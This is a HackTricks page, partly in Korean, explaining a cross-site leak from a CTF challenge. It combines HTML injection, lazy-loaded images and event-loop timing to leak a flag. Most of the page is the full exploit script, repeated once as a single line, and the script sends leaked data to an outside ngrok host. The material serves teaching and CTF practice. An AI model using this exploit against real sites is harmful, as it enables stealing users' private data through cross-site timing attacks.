Event Loop Blocking + Lazy images

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

In this exploit, @aszx87410 mixes the lazy image side channel technique through a HTML injection with kind of event loop blocking technique to leak chars.

이 익스플로잇의 아이디어는 다음과 같습니다:

게시물은 알파벳 순서로 로드됩니다.
공격자는 **"A"**로 시작하는 게시물을 주입할 수 있으며, 그러면 큰 **<canvas**와 같은 HTML 태그가 대부분의 화면을 채우고 최종 <img lazy 태그가 로드됩니다.
만약 공격자가 "A" 대신 **"z"**로 시작하는 동일한 게시물을 주입하면, 플래그가 있는 게시물이 먼저 나타나고, 그 다음 주입된 게시물이 초기 "z"와 함께 나타납니다. 플래그가 있는 게시물이 먼저 나타났기 때문에 첫 번째 캔버스가 모든 화면을 차지하고 최종 <img lazy 태그가 화면에 보이지 않게 되어 로드되지 않습니다.
그런 다음, 봇이 페이지에 접속하는 동안, 공격자는 fetch 요청을 보냅니다.
게시물에 주입된 이미지가 로드되고 있다면, 이 fetch 요청은 더 오래 걸리게 되며, 공격자는 게시물이 플래그보다 앞에 있다는 것을 알 수 있습니다 (알파벳 순서로).
만약 fetch 요청이 빠르다면, 이는 게시물이 플래그보다 알파벳 순서로 뒤에 있다는 것을 의미합니다.

Let's check the code:

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>

<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>

<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1

// I have omited code here as apparently it wasn't necesary

// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>
</body>
</html>

HackTricks 지원하기

구독 계획 확인하기!
**💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

Previousperformance.now + Force heavy task NextJavaScript Execution XS Leak

Last updated 4 months ago

<!DOCTYPE html> <html>  <body> <button onclick="run()">start</button>  <form id=f action="http://localhost:1234/create" method="POST" target="_blank"> <input id=inp name="text" value=""> </form>  <form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank"> <input id=inp2 name="index" value=""> </form> <script> let flag = 'SEKAI{' const TARGET = 'https://safelist.ctf.sekai.team' f.action = TARGET + '/create' f2.action = TARGET + '/remove' const sleep = ms => new Promise(r => setTimeout(r, ms)) // Function to leak info to attacker const send = data => fetch('http://server.ngrok.io?d='+data) const charset = 'abcdefghijklmnopqrstuvwxyz'.split('') // start exploit let count = 0 setTimeout(async () => { let L = 0 let R = charset.length - 1 // I have omited code here as apparently it wasn't necesary // fallback to linerar since I am not familiar with binary search lol for(let i=R; i>=L; i--) { let c = charset[i] send('try_' + flag + c) const found = await testChar(flag + c) if (found) { send('found: '+ flag+c) flag += c break } } }, 0) async function testChar(str) { return new Promise(resolve => { /* For 3350, you need to test it on your local to get this number. The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold If starts with "A", the image should be loaded because it's in the threshold. */ // <canvas height="3350px"> is experimental and allow to show the injected // images when the post injected is the first one but to hide them when // the injected post is after the post with the flag inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('') f.submit() setTimeout(() => { run(str, resolve) }, 500) }) } async function run(str, resolve) { // Open posts page 5 times for(let i=1; i<=5;i++) { window.open(TARGET) } let t = 0 const round = 30 //Lets time 30 requests setTimeout(async () => { // Send 30 requests and time each for(let i=0; i<round; i++) { let s = performance.now() await fetch(TARGET + '/?test', { mode: 'no-cors' }).catch(err=>1) let end = performance.now() t += end - s console.log(end - s) } const avg = t/round // Send info about how much time it took send(str + "," + t + "," + "avg:" + avg) /* I get this threshold(1000ms) by trying multiple times on remote admin bot for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold */ const isFound = (t >= 1000) if (isFound) { inp2.value = "0" } else { inp2.value = "1" } // remember to delete the post to not break our leak oracle f2.submit() setTimeout(() => { resolve(isFound) }, 200) }, 200) } </script> </body> </html>